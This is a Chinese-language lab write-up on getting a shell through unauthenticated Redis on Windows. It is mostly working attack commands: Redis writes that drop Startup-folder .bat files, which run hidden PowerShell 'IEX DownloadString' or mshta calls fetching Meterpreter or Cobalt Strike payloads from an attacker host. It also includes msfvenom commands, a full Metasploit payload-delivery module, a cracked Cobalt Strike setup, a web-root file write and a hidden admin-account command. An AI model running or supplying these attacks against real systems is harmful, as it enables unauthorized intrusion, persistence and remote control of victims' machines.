文章来自零釼实验室成员
中文
南宫十六
英文
Linuz
文章共5974字16图
预计阅读时间15分钟
系统环境:Windows Server 2012
Redis下载地址:
https://github.com/microsoftarchive/redis/releases/download/win-3.2.100/Redis-x64-3.2.100.msi
安装完Redis后它的服务就自动启动了,所以需要执行以下几步:
1.先停止Redis服务redis-server --service-stop
2.更改配置文件
进入Redis的安装目录,然后修改windows.conf文件
第56行注释掉# bind 127.0.0.1
,第75行把protected-mode yes
改成protected-mode no
这样就可以模拟未授权访问的Redis靶机。
3.卸载Redis服务redis-server --service-uninstall
4.安装Redis服务redis-server --service-install redis.windows.conf
5.启动redisredis-server --service-start
Redis默认端口是6379,所以你需要在windows的防火墙里开放6379端口,或者搭建靶机的时候直接就关闭防火墙。
我是在Centos7上安装过Redis所以直接拿来用了。
[root@localhost src]# ./redis-cli -h 192.168.230.134
192.168.230.134:6379> ping
PONG
测试过程中发现,默认是无法在启动项文件夹写文件的,需要把C:\Users\Administrator
文件夹的组添加上Everyone
并把权限改成完全控制,改完以后再测试就可以了。
192.168.230.134:6379> config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
OK
192.168.230.134:6379>
方法其实挺多的,但是比较鸡肋,都需要目标主机重启才可以实现…
1.用msfvenom生成shell.ps1文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=Kali的IP LPORT=4444 -f psh-reflection >shell.ps1
2.把shell.ps1文件复制到/var/www/html/
目录下,然后启动apache2
3.用msf进行监听
设置payload的时候注意分清系统是32版本的还是64的。
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.230.133
lhost => 192.168.230.133
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > run[*] Started reverse TCP handler on 192.168.230.133:4444
4.利用Redis写入bat文件到启动项
注意\r\n\r\n
代表换行的意思,因为用redis写的文件会自带一些版本信息,如果不换行可能会导致无法执行。反斜杠\
可以转义你payload中的双引号"
。
192.168.230.134:6379> config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
OK
192.168.230.134:6379> config set dbfilename shell.bat
OK
192.168.230.134:6379> set x "\r\n\r\npowershell -windowstyle hidden -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://192.168.230.133/shell.ps1');xx.ps1\"\r\n\r\n"
OK
192.168.230.134:6379> save
OK
5.重启后得到shell
到/usr/share/metasploit-framework/modules/exploits/windows
目录下创建一个msh_shell.rb文件,复制以下内容
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office Payload Delivery',
'Description' => %q{
This module generates an command to place within
a word document, that when executed, will retrieve a HTA payload
via HTTP from an web server. Currently have not figured out how
to generate a doc.
},
'License' => MSF_LICENSE,
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
['Automatic', {} ],
],
'DefaultTarget' => 0,
))
end
def on_request_uri(cli, _request)
print_status("Delivering payload")
p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt(
framework,
ARCH_X86,
'win',
p.encoded,
'hta-psh',
{ :arch => ARCH_X86, :platform => 'win '}
)
send_response(cli, data, 'Content-Type' => 'application/hta')
end
def primer
url = get_uri
print_status("Place the following DDE in an MS document:")
print_line("mshta.exe \"#{url}\"")
end
end
然后在msf里重新加载所有模块:reload_all
找到之后就可以使用了
msf5 exploit(windows/msh_shell) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/msh_shell) > set lhost 192.168.230.133
lhost => 192.168.230.133
msf5 exploit(windows/msh_shell) > set uripath shell
uripath => shell
msf5 exploit(windows/msh_shell) > exploit
zlib(finalizer): the stream was freed prematurely.
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.[*] Started reverse TCP handler on 192.168.230.133:4444
[*] Using URL: http://0.0.0.0:8080/shell
[*] Local IP: http://192.168.230.133:8080/shell
[*] Server started.
[*] Place the following DDE in an MS document:
mshta.exe "http://192.168.230.133:8080/shell"
然后利用Redis写入bat文件到启动项
[root@localhost src]# ./redis-cli -h 192.168.230.134
192.168.230.134:6379> config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
OK
192.168.230.134:6379> config set dbfilename shell.bat
OK
192.168.230.134:6379> set x "\r\n\r\nmshta http://192.168.230.133:8080/shell\r\n\r\n"
OK
192.168.230.134:6379> save
OK
手动重启靶机就可以拿到session了
下载地址就不提供了,我是把Cobalt Strike的服务端脚本放到了kali上运行,然后客户端是在我本机(win10)运行的。
root@kali:/tools/cobaltctrike3.13-cracked# ./teamserver 192.168.230.133 233
[*] Generating X509 certificate and keystore (for SSL)
[+] Team server is up on 50050
[*] SHA256 hash of SSL cert is: 56b1896ec2bc1dfaab7445e7b9e63f30ab640e5a6180c2ac41de3d936da6c13b
然后用客户端连接,用户名是msf,密码是233,端口具体看服务端返回的
创建一个listener,payload默认,端口自己设置
生成攻击脚本,注意端口别冲突
最后生成一串payload,用redis写一个bat脚本到启动项,然后等待目标重启即可
[root@localhost src]# ./redis-cli -h 192.168.230.134
192.168.230.134:6379> config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
OK
192.168.230.134:6379> config set dbfilename shell.bat
OK
192.168.230.134:6379> set x "\r\n\r\npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.230.133:80/a'))\"\r\n\r\n"
OK
192.168.230.134:6379> save
OK
手动重启靶机后Cobalt Strike客户端里就看到有主机上线了~
如果有Web业务的话,可以结合web业务进行Getshell。也是比较鸡肋,起码网站的根目录你得知道。
[root@localhost src]# ./redis-cli -h 192.168.230.134
192.168.230.134:6379> config set dir "C:/phpstudy/WWW"
OK
192.168.230.134:6379> config set dbfilename phpinfo.php
OK
192.168.230.134:6379> set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
OK
192.168.230.134:6379> save
OK
在真实环境中确实遇到了几个可以访问启动目录的系统,在测试的过程中,如果安装了安全软件也是可以拿到shell的。还有就是不知道如果开了3389端口的情况下,如果直接执行net user test$ xxxxxx /add & net localgroup administrators test$ /add
这种命令会怎样?本地靶机测试是可以的。如果遇到server 2003的系统,可以用写MOF的方法拿shell。真实的业务环境还是很复杂,但是方法总比困难多。总结的不是很全面,有哪些老哥有好的思路欢迎一起交流。
https://uknowsec.cn/posts/notes/Redis%E5%9C%A8Windows%E7%8E%AF%E5%A2%83%E4%B8%8BGetshell.html https://blog.csdn.net/weixin_33928467/article/details/86254639